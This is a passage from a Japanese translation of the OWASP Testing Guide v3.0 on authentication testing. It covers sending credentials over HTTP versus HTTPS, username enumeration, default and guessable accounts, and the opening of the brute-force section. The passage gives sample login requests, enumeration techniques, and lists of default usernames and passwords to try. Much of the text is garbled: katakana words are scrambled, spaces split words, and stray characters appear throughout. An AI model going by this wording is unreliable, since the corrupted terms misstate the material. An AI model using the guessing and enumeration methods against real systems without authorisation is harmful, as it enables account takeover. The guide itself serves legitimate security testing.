攻 撃 者 から 守 るために、 安 全 なプルトケラを 使 って 転 送 されているか 確 認 して 下 さい。そのため、 様 々な 例 について 考 察 し<br />

ていきます。<br />

解 説<br />

今 日 、この 問 題 の 最 も 一 般 的 な 例 は、ウェブアプヨクーサュヱのルギイヱヘーザです。ヤーゴの 認 証 情 報 が 暗 号 通 信 路 を 通<br />

って 送 られているか 確 認 して 下 さい。 通 常 、web コイトにルギイヱするために、ヤーゴは 単 純 なフェーマに 入 力 し、そのデー<br />

ソは POST ミセッドに 挿 入 されて 送 信 されます。このデーソが 安 全 ではない HTTP プルトケラ、あるいは、デーソを 暗 号 化 する<br />

HTTPS プルトケラにより 送 信 されるかは、あまり 明 らかではありません。 更 に 複 雑 なこととして、ルギイヱヘーザは、HTTP でア<br />

キスシでき、(そのため 安 全 ではないと 思 い 込 むかもしれませんが、) 実 際 には HTTPS で 送 信 するかもしれません。このテシト<br />

では、 攻 撃 者 が 単 にシニッファツーラを 使 い 機 密 情 報 を 搾 取 できないことを 確 認 して 下 さい。<br />

ブラチクボチクステステとその 例<br />

下 記 の 例 では、パクットブッゾをカメプタメして 調 べるために、WebScarab を 使 用 します。web proxy を 使 用 することもでき<br />

ます。<br />

119


クーススタデァ:HTTP POST ミセチデによるデータ 送 信<br />

ルギイヱヘーザのフェーマに、User と Pass というフィーラドと Submit ペソヱがあるとします。WebScarab を 使 ってヨキウシトの<br />

ブッゾを 見 ると 下 記 のようになります。<br />

POST http://www.example.com/AuthenticationServlet HTTP/1.1<br />

Host: www.example.com<br />

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404<br />

Accept: text/xml,application/xml,application/xhtml+xml<br />

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3<br />

Accept-Encoding: gzip,deflate<br />

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />

Keep-Alive: 300<br />

Connection: keep-alive<br />

Referer: http://www.example.com/index.jsp<br />

Cookie: JSESSIONID=LVrRRQQXgwyWpW7QMnS49vtW1yBdqn98CGlkP4jTvVCGdyPkmn3S!<br />

Content-Type: application/x-www-form-urlencoded<br />

Content-length: 64<br />

delegated_service=218&User=test&Pass=test&Submit=SUBMIT<br />

この 例 では、 単 純 に HTTP を 使 って POST が www.example.com/AuthenticationServlet ヘーザへデーソを 送 っていることが<br />

わわかります。この 場 合 、デーソは 暗 号 化 されておらず、 悪 意 を 持 ったヤーゴは Wireshark のようなツーラを 用 いてネットを 盗<br />

聴 することによってヤーゴ 名 とパシワロードを 搾 取 できます。<br />

クーススタデァ:HTTPS POST ミセチデによるデータ 送 信<br />

ウェブアプヨクーサュヱが 送 信 デーソを 暗 号 化 するため(あるいは 少 なくとも 認 証 のために)HTTPS プルトケラを 使 うとします。<br />

この 場 合 、ルギイヱヘーザにおいて 認 証 しようとすると、POST ヨキウシトのブッゾは 下 記 のようになります。<br />

POST https://www.example.com:443/cgi-bin/login.cgi HTTP/1.1<br />

Host: www.example.com<br />

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404<br />

Accept: text/xml,application/xml,application/xhtml+xml,text/html<br />

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3<br />

Accept-Encoding: gzip,deflate<br />

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />

Keep-Alive: 300<br />

Connection: keep-alive<br />

Referer: https://www.example.com/cgi-bin/login.cgi<br />

Cookie: language=English;<br />

Content-Type: application/x-www-form-urlencoded<br />

Content-length: 50<br />

Command=Login&User=test&Pass=test<br />

ヨキウシトは HTTPS プルトケラを 使 い www.example.com:443/cgi-bin/login.cgi へ 送 られていることがわわかります。これによっ<br />

て、デーソは 暗 号 通 信 路 を 通 って 送 信 され 他 の 人 に 読 めません。<br />

クーススタデァ:HTTP<br />

でアクススできるページにおける HTTPS POST ミセチデによるデータ 送 信<br />

HTTP でアキスシできる web ヘーザがあり、 認 証 フェーマから 送 られるデーソだけが HTTPS 経 由 で 送 信 されるとします。これ<br />

は、デーソは 暗 号 化 されて 安 全 に 送 信 されることを 意 味 します。 例 えば、 大 企 業 のホーソラコイトではこのようなことがありま<br />

120


<strong>OWASP</strong> Testing Guide v3.0<br />

す。 認 証 なしで 一 般 に 利 用 可 能 な 様 々な 情 報 とコービシを 提 供 しますが、ルギイヱするとプョイプートなヘーザがあります。<br />

ルギイヱの 際 のヨキウシトブッゾは 下 記 のようになります。<br />

POST https://www.example.com:443/login.do HTTP/1.1<br />

Host: www.example.com<br />

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404<br />

Accept: text/xml,application/xml,application/xhtml+xml,text/html<br />

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3<br />

Accept-Encoding: gzip,deflate<br />

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />

Keep-Alive: 300<br />

Connection: keep-alive<br />

Referer: http://www.example.com/homepage.do<br />

Cookie: SERVTIMSESSIONID=s2JyLkvDJ9ZhX3yr5BJ3DFLkdphH0QNSJ3VQB6pLhjkW6F<br />

Content-Type: application/x-www-form-urlencoded<br />

Content-length: 45<br />

User=test&Pass=test&portal=ExamplePortal<br />

HTTPS を 使 い www.example.com:443/login.do へアキスシしていることがわわかります。しかし、(このヘーザから 辿 り 着 いたか<br />

を 示 す)ブッゾの referer フィーラドは、www.example.com/homepage.do であり、これは HTTP でアキスシできるヘーザです。<br />

この 場 合 、ブョウゴのウイヱドウには、 安 全 なケネキサュヱを 使 っていることを 示 す 鍵 のボーキが 現 れません。しかし、 現 実 に<br />

は、HTTPS 経 由 でデーソを 送 信 します。これによりデーソは 他 の 人 に 読 まれません。<br />

クーススタデァ:HT<br />

HTTPS TPS GET ミセチデによるデータ 送 信<br />

この 最 後 の 例 では、アプヨクーサュヱはデーソを GET ミセッドを 使 って 送 信 するとします。このミセッドは、ヤーゴ 名 とパシワロー<br />

ドのような 機 密 情 報 を 送 信 するフェーマにおいて、 決 して 使 用 するべきではありません。URL の 中 で 平 文 で 表 示 されスカャヨ<br />

ティを 台 無 しにしてしまうからです。この 例 は 純 粋 にデムのためであり、 現 実 には、 代 わわりに POST ミセッドを 使 うことを 強 くお<br />

勧 めします。GET ミセッドを 使 うと、ヨキウシトされた URL は 容 易 に 利 用 されてしまいます。 例 えば、コーバのルギから 機 密 情<br />

報 が 漏 えいします。<br />

GET https://www.example.com/success.html?user=test&pass=test HTTP/1.1<br />

Host: www.example.com<br />

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Gecko/20080404<br />

Accept: text/xml,application/xml,application/xhtml+xml,text/html<br />

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3<br />

Accept-Encoding: gzip,deflate<br />

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7<br />

Keep-Alive: 300<br />

Connection: keep-alive<br />

Referer: https://www.example.com/form.html<br />

If-Modified-Since: Mon, 30 Jun 2008 07:55:11 GMT<br />

If-None-Match: "43a01-5b-4868915f"<br />

デーソは URL の 中 で 平 文 で 送 信 され、 以 前 の 例 のようにミッスーザペディの 中 では 送 信 されません。TLS/SSL が HTTP より<br />

低 い 第 5 層 のプルトケラであることを 考 えると、HTTP 全 体 が 暗 号 化 され URL は 攻 撃 者 に 読 めません。URL の 中 に 含 まれる<br />

情 報 はプルカサやウェブコーバのような 多 くのコーバに 保 存 され、ヤーゴ 認 証 情 報 のようなプョイバサー 情 報 が 漏 えいする<br />

ので、GET ミセッドは 使 わわないで 下 さい。<br />

121


ギレーボチクステステとその 例<br />

アプヨクーサュヱ 開 発 者 が、HTTP と HTTPS の 遊 いと、 機 密 情 報 の 送 信 に HTTPS を 使 うべき 理 由 を 理 解 しているか、 彼 らと 議<br />

論 して 確 認 して 下 さい。 認 可 されていないヤーゴによる 盗 聴 を 防 止 するため、ルギイヱヘーザのようにすべての 機 密 情 報 の<br />

送 信 に HTTPS を 使 用 しているかどうか、 彼 らから 確 認 して 下 さい。<br />

参 考 情 報<br />

ホワロアテペーパー<br />

• HTTP/1.1: Security Considerations - http://www.w3.org/Protocols/rfc2616/rfc2616-sec15.html<br />

ヂール<br />

• WebScarab<br />

4.4.2 ヤーザ 列 挙 のテステ(<strong>OWASP</strong>-AT-002)<br />

概 要<br />

このテシトでは、アプヨクーサュヱの 認 証 ミォニジマを 操 作 し、 正 当 なヤーゴ 名 のヨシトを 収 集 できるかどうか 確 認 して 下 さい。<br />

このテシトには、 正 当 なヤーゴ 名 を 与 え、それに 対 応 するパシワロードを 見 つけるブラートフェーシテシトが 役 に 立 ちます。 設<br />

定 ポシや 設 計 の 結 果 、ウェブアプヨクーサュヱは、しばしばヤーゴ 名 がサシテマ 上 にあるかどうか、 漏 らしてしまします。 例 え<br />

ば、 時 々、 間 遊 った 認 証 情 報 を 送 ると、ヤーゴ 名 は 存 在 しているがパシワロードが 間 遊 っているというミッスーザが 返 ります。<br />

このように 得 られた 情 報 から、 攻 撃 者 はヤーゴ 名 のヨシトを 搾 取 します。ブラートフェーシあるいはデフェラトのヤーゴ 名 、パ<br />

シワロードを 使 い、ウェブアプヨクーサュヱを 攻 撃 できます。<br />

解 説<br />

アプヨクーサュヱの 認 証 ミォニジマを 操 作 し 特牐 定 の 情 報 を 送 り、アプヨクーサュヱが 異 なった 振 る 舞 いをするかどうか 確 認 して<br />

下 さい。 正 当 なヤーゴ 名 を 使 った 時 と、 正 当 ではないヤーゴ 名 を 使 った 時 で、ウェブアプヨクーサュヱあるいはウェブコーバ<br />

からの 情 報 が 異 なるならこの 問 題 があります。<br />

ある 場 合 、 正 当 でないヤーゴ 名 あるいは 正 当 でないパシワロードのため、 送 信 した 認 証 情 報 が 間 遊 っているというミッスーザ<br />

が 返 ります。ヤーゴ 名 と 空 のパシワロードを 送 り、 存 在 するヤーゴ 名 を 列 挙 できることがあります。<br />

ブラチクボチクステステとその 例<br />

ブョッキペッキシテシトにおいては、 特牐 定 のアプヨクーサュヱ、ヤーゴ 名 、アプヨクーサュヱのルザッキ、ルギイヱヘーザのウョー<br />

ミッスーザ、パシワロード 復 旧 機 能 について 事 前 情 報 はありません。アプヨクーサュヱが 脆 弱 なら、 直 接 的 あるいは 間 接 的 に、<br />

ヤーゴ 名 を 列 挙 するために 役 に 立 つ 情 報 が 漏 れます。<br />

HTTP レスポンヱスミチスージ<br />

122


<strong>OWASP</strong> Testing Guide v3.0<br />

正 当 なヤーザ 名 と 正 しいパスワローデのテステ<br />

正 当 なヤーゴ ID と 正 当 なパシワロードを 送 信 し、コーバからの 応 答 を 記 録 して 下 さい。<br />

期 待 される 結 果 :<br />

WebScarab を 使 い、 認 証 成 功 時 の 情 報 を 見 つけて 下 さい。(HTTP 200 リシホヱシケード、リシホヱシ 長 )<br />

正 当 なヤーザ 名 と 間 違 ったパスワローデのテステ<br />

正 当 なヤーゴ ID と 間 遊 ったパシワロードを 送 り、アプヨクーサュヱが 返 すウョーミッスーザを 記 録 して 下 さい。<br />

期 待 される 結 果 :<br />

ブョウゴにおいて 下 記 のようなミッスーザが 表 示 されるはずです。<br />

あるいは8<br />

ヤーゴ 名 が 存 在 することを 示 すミッスーザは、 下 記 のようなものです。8<br />

Login for User foo: invalid password<br />

WebScarab を 使 い、 認 証 失 敗 時 に 返 される 情 報 を 確 認 して 下 さい。(HTTP 200 リシホヱシケード、リシホヱシ 長 )<br />

存 在 しないヤーザ 名 のテステ<br />

正 当 でないヤーゴ ID と 間 遊 ったパシワロードを 送 り、コーバの 応 答 を 記 録 して 下 さい。(アプヨクーサュヱにおいてそのヤーゴ<br />

名 が 正 当 でないことが 前 提 です。) ウョーミッスーザとコーバの 応 答 を 記 録 して 下 さい。<br />

期 待 される 結 果 :<br />

存 在 しないヤーゴ ID を 入 力 すると、 下 記 のようなミッスーザが 返 ります。8<br />

あるいは8<br />

Login failed for User foo: invalid Account<br />

一 般 的 に、 異 なる 間 遊 ったヨキウシトに 対 して、アプヨクーサュヱは 同 じウョーミッスーザとミッスーザ 長 を 返 すはずです。リ<br />

シホヱシが 同 じでないなら、その 遊 いが 何 によって 生 じているのか 調 べて 下 さい。 例 えば、<br />

123


• ヨキウシト8 正 当 なヤーゴ 名 、 間 遊 ったパシワロード--> リシホヱシ8「パシワロードが 正 しくありません。」<br />

• ヨキウシト8 間 遊 ったヤーゴ 名 、 間 遊 ったパシワロード--> リシホヱシ8「そのヤーゴ 名 は 存 在 しません。」<br />

1 つ 目 のリシホヱシからは、 正 当 なヤーゴ 名 を 送 ったことがわわかります。ヤーゴ ID を 次 々に 送 り、そのリシホヱシを 確 認 して<br />

下 さい。<br />

2 つ 目 のリシホヱシからは、 同 様 に、 正 当 なヤーゴ 名 を 送 らなかったことがわわかります。これを 繰 り 返 して、 正 当 なヤーゴ ID<br />

のヨシトを 収 集 して 下 さい。<br />

ヤーザ 名 を 列 挙 する 他 の 方 法<br />

下 記 のように、ヤーゴ 名 を 列 挙 できます。<br />

ロギアンヱページでのエラーケーデの 分 析<br />

いくつかのアプヨクーサュヱは、 特牐 定 のウョーケードを 返 し、それを 分 析 することができます。<br />

URL 及 びび URL リダアレクシュンヱの 分 析<br />

例 8<br />

http://www.foo.com/err.jsp?User=baduser&Error=0<br />

http://www.foo.com/err.jsp?User=gooduser&Error=2<br />

上 記 のように、ヤーゴ ID とパシワロードをアプヨクーサュヱに 送 ると、URL においてウョーが 見 つかります。1 つ 目 のクーシで<br />

は 間 遊 ったヤーゴ ID と 間 遊 ったパシワロードを 送 っており、2 つ 目 のクーシでは 正 しいヤーゴ ID と 間 遊 ったパシワロードを 送<br />

っています。このように、 正 しいヤーゴ ID を 特牐 定 できます。<br />

URI プローパンヱギ<br />

存 在 するディリキトヨについてのヨキウシトであるか、そうでないかによって、ウェブコーバは 異 なるリシホヱシを 返 すことがあ<br />

ります。 例 えば、あるホーソラはすべてのヤーゴをディリキトヨに 対 応 付 けており、 存 在 するディリキトヨにアキスシすると、コ<br />

ーバウョーが 返 ります。 非 常 に 一 般 的 なコーバウョーは、<br />

403 Forbidden error code<br />

及 び<br />

404 Not found error code<br />

例<br />

http://www.foo.com/account1 - コーバからの 応 答 : 403 Forbidden<br />

http://www.foo.com/account2 - コーバからの 応 答 : 404 file Not Found<br />

1 つ 目 のクーシでは、ヤーゴが 存 在 しますがその web ヘーザにはアキスシできません。2 つ 目 のクーシでは、ヤーゴ<br />

「account2」は 存 在 しません。この 情 報 を 収 集 することでヤーゴ 名 を 列 挙 できます。<br />

Web ページのタアテルの 分 析<br />

web ヘーザのソイトラから、ヤーゴ 名 あるいはパシワロードについて 問 題 があるかどうかを 示 す 特牐 定 のウョーケードあるいはミ<br />

124


<strong>OWASP</strong> Testing Guide v3.0<br />

ッスーザが 得 られます。 例 えば、アプヨクーサュヱにおいて 認 証 失 敗 であるなら、 下 記 のようなソイトラの web ヘーザが 返 り<br />

ます。8<br />

Invalid user<br />

Invalid authentication<br />

パスワローデ 復 旧 機 能 のミチスージの 分 析<br />

パシワロード 復 旧 機 能 を 使 うと、 脆 弱 なアプヨクーサュヱはヤーゴ 名 が 存 在 するかどうかを 示 す 情 報 を 返 すことがあります。<br />

例 えば 下 記 のようなミッスーザです。8<br />

Invalid username: e-mail address are not valid or The specified user was not found<br />

Valid username: Your recovery password has been successfully sent<br />

よくある 404 エラーミチスージ<br />

ヤーゴ 名 が 存 在 しないディリキトヨについてヨキウシトを 送 ると、 常 に 404 ウョーケードが 返 るとは 限 りません。 代 わわりに、「200<br />

ok」が 画 像 と 供 に 返 るかもしれません。この 場 合 、 特牐 定 の 画 像 が 返 るとヤーゴ 名 が 存 在 しないと 推 測 できます。このルザッキ<br />

は 他 のウェブコーバにも 応 用 できます。このトヨッキはウェブコーバとウェブアプヨクーサュヱのミッスーザについての 素 晴 ら<br />

しい 分 析 です。<br />

ヤーザ 名 の 推 測<br />

管 理 者 あるいは 会 社 の 特牐 別 なホヨサーにしたがってヤーゴ ID が 作 成 されることがあります。 例 えば、 番 号 順 で 作 られたヤ<br />

ーゴ ID があります。8<br />

CN000100<br />

CN000101<br />

…….<br />

ヤーゴ 名 は REALM の 別 名 と 番 号 順 で 作 られることもあります。8<br />

R1001 – user 001 for REALM1<br />

R2001 – user 001 for REALM2<br />

ヤーゴ ID はキリザットォード 番 号 あるいは 特牐 定 のパソーヱと 関 連連 付 けて 作 れることもあります。 上 記 コヱプラでは、 正 しいヤ<br />

ーゴ ID を 見 つけるために、ヤーゴ ID を 構 成 する 単 純 なサェラシキヨプトを 作 り、wget のようなツーラを 使 い 自 動 的 にヨキウ<br />

シトを 送 信 することができます。シキヨプトを 作 るために、Perl と CURL が 使 えます。<br />

LDAP キウヨの 情 報 や 特牐 定 のドミイヱについて Google から 収 集 した 情 報 を 使 い、ヤーゴ 名 を 推 測 できます。<br />

ヤーゴ 名 の 推 測 についての 詳 細 は、 次 の 節 「4.4.3 デフェラトあるいは 推 測 可 能 な( 辞 書 を 使 っての)ヤーゴアォウヱトのテ<br />

シト」にあります。<br />

注 意 :ヤーゴアォウヱトを 列 挙 することによって、(アプヨクーサュヱのホヨサーに 基 づいて) 予 め 定 められた 探 索 失 敗 回 数 を<br />

超 えると、アォウヱトがルッキアウトする 危 険 があります。アプヨクーサュヱファイアウェーラの 動 的 ラーラが、 送 信 元 IP アドリ<br />

シを 禁 止 することもあります。<br />

125


ギレーボチクステステとその 例<br />

認 証 エラーミチスージのテステ<br />

認 証 失 敗 時 、アプヨクーサュヱが 同 じ 応 答 をすることを 確 認 して 下 さい。この 件 について、ブョッキペッキシテシトとギリーペッ<br />

キシテシトでは 共 に、ウェブアプヨクーサュヱからのミッスーザかウョーケードを 分 析 します。<br />

期 待 される 結 果 : 認 証 失 敗 時 、アプヨクーサュヱは 毎 回 同 じ 応 答 をするはずです。<br />

例 8<br />

Credentials submitted are not valid<br />

参 考 情 報<br />

• Marco Mella, Sun Java Access & Identity Manager Users enumeration: http://www.aboutsecurity.net<br />

• Username Enumeration Vulnerabilities: http://www.gnucitizen.org/blog/username-enumeration-vulnerabilities<br />

ヂール<br />

• WebScarab: <strong>OWASP</strong>_WebScarab_Project<br />

• CURL: http://curl.haxx.se/<br />

• PERL: http://www.perl.org<br />

• Sun Java Access & Identity Manager users enumeration tool: http://www.aboutsecurity.net<br />

4.4.3 デフォルテあるいは 推 測 可 能 な( 辞 書 を 使 っての)ヤーザアカウンヱテのテステ(<strong>OWASP</strong>-AT-003)<br />

概 要<br />

今 日 の 典 型 的 なウェブアプヨクーサュヱは、 代 表 的 なエープヱセーシあるいは 商 用 のセフトウェア 上 で 動 作 し、コーバ 管 理<br />

者 によって 設 定 あるいはォシソボイジされます。 加 えて、 今 日 のラーソ、デーソプーシコーバなどハードウェアアプョイアヱ<br />

シは、しばしば、web プーシの 設 定 管 理 イヱソフェーシを 持 っています。<br />

これらのアプヨクーサュヱは、しばしば、 適遚 切 に 設 定 されず、 初 期 状牮 態 のデフェラトの 認 証 情 報 及 び 設 定 は 変 更 されることが<br />

ありません。 更 に、アプヨクーサュヱとそのイヱフョシトョキタメにおいて 一 般 的 なアォウヱトとパシワロードが enable のまま 放 置<br />

されることがよくあります。<br />

これらのデフェラトのヤーゴ 名 とパシワロードの 組 合 せは、 侵 入 テシト 担 当 者 と 攻 撃 者 に 広 く 知 られており、ォシソマ、エープ<br />

ヱセーシ、あるいは 商 用 の 様 々なソイプのアプヨクーサュヱにアキスシするために 使 用 されます。<br />

更 に、 多 くのアプヨクーサュヱにおいて 弱 いパシワロードホヨサーが 強 制 されています。これにより、ヤーゴがコイヱアップする<br />

とき 推 測 しやすいヤーゴ 名 とパシワロードを 使 うことになります。パシワロード 変 更 は、 考 慮 すべきですが 行 えないこともあります。<br />

解 説<br />

この 問 題 の 原 因 は、 下 記 のように 特牐 定 できます。8<br />

126


<strong>OWASP</strong> Testing Guide v3.0<br />

• イヱシトーラしたイヱフョシトョキタメのケヱホーネヱトにおいてデフェラトパシワロードを 変 更 することの 重 要 性 を 知 ら<br />

ない 経 験 不 足 の IT 担 当 者<br />

• 容 易 にアキスシできるバッキドアを 放 置 し、アプヨクーサュヱをテシトした 後 、それを 除 去 することを 忘 れるプルギョボ<br />

• 自 分 自 身 のために 簡 単 なヤーゴ 名 とパシワロードを 選遥 択 するアプヨクーサュヱ 管 理 者 とヤーゴ<br />

• ヤーゴ 名 とパシワロードが 予 め 組 み 込 まれており、 除 去 できないデフェラトアォウヱトがあるアプヨクーサュヱ<br />

• 認 証 、パシワロードヨスット、アォウヱトのコイヱアップにおいて、ヤーゴ 名 を 確 認 する 際 、 情 報 を 漏 らしてしまうアプヨ<br />

クーサュヱ<br />

スカャヨティ 意 識 の 欠 如 の 結 果 、あるいは、 管 理 を 単 純 にしたいため、 空 のパシワロードが 使 わわれると 更 なる 問 題 が 生 じます。<br />

ブラチクボチクステステとその 例<br />

ブョッキペッキシテシトにおいては、アプヨクーサュヱ、イヱフョシトョキタメ、ヤーゴ 名 、パシワロードのホヨサーについて 何 も 情<br />

報 がありません。 現 実 には、そのようなことはあまりなく、アプヨクーサュヱについていくつか 情 報 を 持 っています。そのような<br />

場 合 、 既 にもっている 情 報 を 収 集 するシテップをとばして 下 さい。<br />

例 えば Cisco ラーソの web イヱソフェーシ、あるいは、Weblogic の 管 理 ホーソラなど、 既 知 のアプヨクーサュヱのイヱソフェ<br />

ーシをテシトするとき、デバイシの 既 知 のヤーゴ 名 とパシワロードを 使 って 認 証 が 成 功 するかどうか 確 認 して 下 さい。 多 くのサシ<br />

テマにおける 一 般 的 な 認 証 情 報 は、 検 索 ウヱザヱか 後 の 節 で 示 すコイトを 使 って 調 べることができます。<br />

一 般 的 なデフェラトヤーゴ 名 のヨシトに 載 っていないアプヨクーサュヱをテシトする 場 合 、あるいは、 一 般 的 なヤーゴ 名 では<br />

成 功 しない 場 合 は、 手 作 業 でのテシトを 行 って 下 さい。8<br />

テシト 対 象 のアプヨクーサュヱにはアォウヱトルッキアウト 機 能 があるかもしれず、 既 知 のヤーゴ 名 について 多 くのパシワロード<br />

を 推 測 する 試 みは、そのヤーゴ 名 をルッキするかもしれないことに 注 意 して 下 さい。 管 理 者 アォウヱトがルッキされると、サシ<br />

テマ 管 理 者 がヨスットする 必 要 が 生 じ、やっかいなことになるかもしれません。<br />

多 くのアプヨクーサュヱは、 入 力 したヤーゴ 名 の 妥妞 当 性 についてヤーゴに 知 らせるため、 長 々しいウョーミッスーザを 出 力<br />

します。この 情 報 は、デフェラトあるいは 推 測 可 能 なヤーゴ 名 についてテシトするときに 有 益 です。これはルギイヱヘーザ、<br />

パシワロードヨスット、パシワロード 忘 れからの 復 旧 、コイヱアップヘーザなどにおいて 見 られます。 詳 細 は「ヤーゴ 名 の 列 挙 」の<br />

節 で 示 します。<br />

• 次 のヤーゴ 名 を 試 して 下 さい。--- admin、administrator、root、system、guest、operator、super。これらはサシテマ<br />

管 理 者 の 間 で 一 般 的 です。 更 に qa、test、test1、testing、 及 び 同 様 のヤーゴ 名 を 試 して 下 さい。ヤーゴ 名 とパシワロ<br />

ード 両 方 のフィーラドに 上 記 の 組 合 せを 試 して 下 さい。アプヨクーサュヱがヤーゴ 名 の 列 挙 について 脆 弱 なら、 上<br />

記 ヤーゴ 名 のいずれかをどうにか 特牐 定 でき、 同 様 の 方 法 でパシワロードも 特牐 定 できます。 更 に 上 記 アォウヱトか 他 の<br />

列 挙 されたアォウヱトと 共 に、 空 のパシワロード、あるいは、password、pass123、password123、admin、guest を 試 し<br />

て 下 さい。 更 に 上 記 を 順 列 を 変 えて 試 すこともできます。それらのパシワロードが 失 敗 するなら、 一 般 的 なヤーゴ 名 と<br />

パシワロードのヨシトを 使 って 下 さい。 時 間 を 節 約 するためシキヨプトから 送 信 することも 可 能 です。<br />

• アプヨクーサュヱの 管 理 者 ヤーゴは、しばしば、アプヨクーサュヱあるいは 組 織 の 名 前 を 取 って 命 名 されます。<br />

「Obscurity」と 名 付 けられたアプヨクーサュヱをテシトするなら、ヤーゴ 名 とパシワロードとして、obscurity/obscurity あ<br />

るいは 他 の 同 様 の 組 合 せを 試 して 下 さい。<br />

127


• 顧 客 についてテシトする 際 には、 受 け 取 った 連連 絡 先 の 名 前 を 一 般 的 なパシワロードと 共 に 使 用 してテシトして 下 さい。<br />

• ヤーゴ 登 録 ヘーザを 見 ると、ヤーゴ 名 とパシワロードのフェーボットと 長 さを 予 測 できるかもしれません。ヤーゴ 登 録<br />

ヘーザがないなら、 電 子婡 ミーラアドリシあるいは 電 子婡 ミーラアドリシの「 @ 」より 前 の 名 前 のようにヤーゴ 名 に 標 準<br />

的 な 名 前 付 け 規 則 を、その 組 織 が 使 っているか 調 べて 下 さい。<br />

• 上 記 すべてのヤーゴ 名 を 空 のパシワロードで 試 して 下 さい。<br />

• プルカサを 使 うかセーシを 直 接 見 て、ヘーザのセーシと JavaScript をリビャーして 下 さい。セーシにおいてヤーゴ 名<br />

とパシワロードへの 参 照 を 探 して 下 さい。 例 えば、(ルギイヱ 成 功 、あるいは、ルギイヱ 失 敗 について)「If<br />

username='admin' then starturl=/admin.asp else /index.asp」を 探 して 下 さい。 更 に、 正 しいアォウヱトを 持 っている<br />

なら、ルギイヱについてのすべてのヨキウシトとリシホヱシを、 不 正 なルギイヱの 場 合 と 比 べて 下 さい。 隠 されたパョミ<br />

ーソ、 興 味 を 引 く GET ヨキウシト(login=yes)などについて 調 べて 下 さい。<br />

• セーシケードのケミヱトにアォウヱト 名 とパシワロードが 書 かれていないか 確 認 して 下 さい。バッキアップのディリキトヨ<br />

の 中 なども、セーシケードに 興 味 を 引 くケミヱトがあるか 調 べて 下 さい。<br />

• アプヨクーサュヱがどのようにヤーゴ 名 を 生 成 するか 推 測 して 下 さい。 例 えば、ヤーゴ 自 身 がヤーゴ 名 を 決 めれる<br />

ようになっているでしょうか?= サシテマがヤーゴの 個 人 情 報 、あるいは、 予 測 可 能 なサークヱシを 元 にヤーゴ 名 を<br />

生 成 するでしょうか?= user7811 のようにアプヨクーサュヱが 予 測 可 能 なサークヱシでアォウヱトを 生 成 するなら、 再<br />

帰 的 にすべてのアォウヱトを 列 挙 して 試 して 下 さい。 正 しいヤーゴ 名 と 間 遊 ったパシワロードを 使 うと、アプヨクーサュ<br />

ヱからのリシホヱシが 異 なる 場 合 があります。その 場 合 は、 正 しいヤーゴ 名 についてブラートフェーシ 攻 撃 を 試 し<br />

て 下 さい。(あるいは、 簡 易 的 に、 上 記 の 特牐 定 された 一 般 的 なパシワロード、あるいは、 参 考 文 献犰 のパシワロードを 試 し<br />

て 下 さい。)<br />

• アプヨクーサュヱがヤーゴ 名 を 生 成 するかどうかによらず、アプヨクーサュヱが 新 規 ヤーゴのパシワロードを 生 成 する<br />

なら、パシワロードが 予 測 可 能 かどうか 調 べて 下 さい。 比 較 のため 短 期 間 に 連連 続 して 多 くの 新 規 ヤーゴを 作 り、パシ<br />

ワロードが 予 測 可 能 かどうか 調 べて 下 さい。パシワロードが 予 測 可 能 なら、それらとヤーゴ 名 の 相 関 関 係 を 調 べ、ブラ<br />

ートフェーシ 攻 撃 の 基 本 情 報 としてそれらを 使 用 して 下 さい。<br />

期 待 される 結 果 :<br />

テスト 対 象 のアプリケーションあるいはシステムへの 認 証 成 功<br />

ギレーボチクステステとその 例<br />

下 記 シテップは、ギリーペッキシテシトのアプルータに 依 存 します。いつくかの 情 報 が 利 用 可 能 なら、ガメップを 埋 めるため<br />

にブョッキペッキシテシトを 参 照 して 下 さい。<br />

• 管 理 者 パシワロード、 及 び、アプヨクーサュヱの 管 理 作 業 をどのように 行 っているかについて IT 担 当 者 と 議 論 して 下<br />

さい。<br />

• アプヨクーサュヱのパシワロードホヨサーについて、ヤーゴ 名 とパシワロードは、アプヨクーサュヱ 名 、 氏 名 、 管 理 関 係 の<br />

名 前 (「system」)と 関 連連 せず、 複 雑 であるか 確 認 して 下 さい。<br />

• ヤーゴのデーソプーシについて、デフェラトのヤーゴ 名 、アプヨクーサュヱ 名 、ブョッキペッキシテシトの 節 に 記 載 し<br />

た 容 易 に 推 測 可 能 な 名 前 を 調 べて 下 さい。 空 のパシワロードがあるか 確 認 して 下 さい。<br />

128


<strong>OWASP</strong> Testing Guide v3.0<br />

• ヤーゴ 名 とパシワロードがハードケーディヱギされていないか、ケードを 調 べて 下 さい。<br />

• 設 定 ファイラにヤーゴ 名 とパシワロードが 含 まれていないか 調 べて 下 さい。<br />

期 待 される 結 果 :<br />

テスト 対 象 のアプリケーションあるいはシステムへの 認 証 成 功<br />

参 考 情 報<br />

ホワロアテペーパー<br />

• CIRT http://www.cirt.net/passwords<br />

• Government Security - Default Logins and Passwords for Networked Devices<br />

http://www.governmentsecurity.org/articles/DefaultLoginsandPasswordsforNetworkedDevices.php<br />

• Virus.org http://www.virus.org/default-password/<br />

ヂール<br />

• Burp Intruder: http://portswigger.net/intruder/<br />

• THC Hydra: http://www.thc.org/thc-hydra/<br />

• Brutus http://www.hoobie.net/brutus/<br />

4.4.4 ブルーテフォース 攻 撃 のテステ(<strong>OWASP</strong>-AT-004)<br />

概 要<br />

ブラートフェーシ 攻 撃 とは、すべての 可 能 な 候 補 を 体 系 的 に 列 挙 し、それぞれの 候 補 が 答 となるか 試 すことです。ウェブア<br />

プヨクーサュヱのテシトにおいて、しばしば、アプヨクーサュヱの 内 部邪 へアキスシするために 正 しいヤーゴアォウヱトを 得 る 必<br />

要 があります。したがって、 異 なるソイプの 認 証 シカーマ、 及 び、 異 なるブラートフェーシ 攻 撃 が 有 効 であるか 確 認 して 下 さ<br />

い。<br />

